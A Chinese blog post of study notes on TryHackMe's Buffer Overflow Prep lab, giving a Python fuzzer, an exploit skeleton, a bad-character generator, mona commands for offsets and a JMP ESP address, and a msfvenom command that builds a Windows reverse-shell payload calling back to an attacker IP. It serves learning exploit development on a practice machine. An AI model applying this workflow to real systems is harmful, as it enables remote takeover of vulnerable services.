• 【Try Hack Me】Buffer Overflow-3


    THM 学习笔记

    【Try Hack Me】Buffer Overflow-3


    🔥系列专栏:Try Hack Me
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月7日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    全步骤

    windows缓冲区溢出

    ID分析

    1. 需要用到三个脚本
    Fuzzer.py(造成溢出)
    
    #!/usr/bin/env python3
    import socket, time, sys
    ip = "MACHINE_IP"
    port = 1337
    timeout = 5
    prefix = "OVERFLOW1 "
    string = prefix + "A" * 100
    while True:
      try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
          s.settimeout(timeout)
          s.connect((ip, port))
          s.recv(1024)
          print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
          s.send(bytes(string, "latin-1"))
          s.recv(1024)
      except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
      string += 100 * "A"
      time.sleep(1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    exp.py(实际产生攻击效果)
    
    import socket
    ip = "192.168.43.57"
    port = 1337
    prefix = "OVERFLOW1 "
    offset = 0(溢出点)
    overflow = "A" * offset
    retn = ""(先是四个b,再是jmp)
    padding = ""  (最后一步填充 "\x90" * 16)
    payload = ""
    postfix = ""
    buffer = prefix + overflow + retn + padding + payload + postfix
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
      s.connect((ip, port))
      print("Sending evil buffer...")
      s.send(bytes(buffer + "\r\n", "latin-1"))
      print("Done!")
    except:
      print("Could not connect.")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    badchar.py(坏字符相关)
    
    for x in range(1, 256):
      print("\\x" + "{:02x}".format(x), end='')
    print()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 造成溢出(使用fuzzer.py)(并检验eip有没有被全覆盖)
    2. 找溢出点
    msf-pattern_create -l 2400(生成多400位的检验字符)(并且放到exp.py)
    msf-pattern_offset -l 2400 -q 【eip】(把返回的eip拿来检验)
    
    • 1
    • 2
    1. 找坏字符(用badchar.py生成,mona配合)
    !mona bytearray -b "\x00"
    就这样每找出来一个坏字符,就重新生成一个不包括他的对比字典
    !mona bytearray -b "\x00\x07"
    下面这条命令用来对比(最后面的是esp的值,根据自己的更改)
    !mona compare -f C:\mona\oscp\bytearray.bin -a 00DCFA28
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 找jmp
    !mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 
    后面的是刚才的坏字符
    找出来的随便选一个就行,倒过来写到exp.py的retn
    而后写入nop空字符 "\x90" * 16
    
    • 1
    • 2
    • 3
    • 4
    1. 生成payload
    msfvenom -p windows/shell_reverse_tcp LHOST= 192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
    
    填入执行即可
    
    • 1
    • 2
    • 3

    第一步,造成溢出

    在这里插入图片描述

    第二步、判断溢出点

    在这里插入图片描述

    第三步、找坏字符

    在这里插入图片描述
    这里有个经验之谈,就是如果不是连着的,那么坏字符就可能是开头的
    不太好表述
    举个例子
    这是第一次尝试坏字符
    我就猜测坏字符是
    11 40 5f b8
    然后再去实验,看会不会还有别的
    在这里插入图片描述
    在这里插入图片描述

    第四步、找jmp

    在这里插入图片描述jmp如下
    62501203

    03125062

    retn = “\x03\x12\x50\x62”
    padding = “\x90” * 16

    第五步,获取shell

    在这里插入图片描述

  • 相关阅读:
    也许是最客观、全面的比较 Rust 与 Go:都想把 Rust 也学一下
    Java学习笔记3.4.2 static关键字 - 静态方法
    百分号%的输出:
    C++初级----list(STL)
    MySQL语法
    ncnn神经网络计算框架在香橙派OrangePi 3 LTS开发板中的使用介绍
    『亚马逊云科技产品测评』活动征文|搭建图床chevereto
    【数据结构】c++栈的应用:波兰式、逆波兰式和中缀表达式计算器
    Loss损失函数
    可靠传输具体实现
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127730320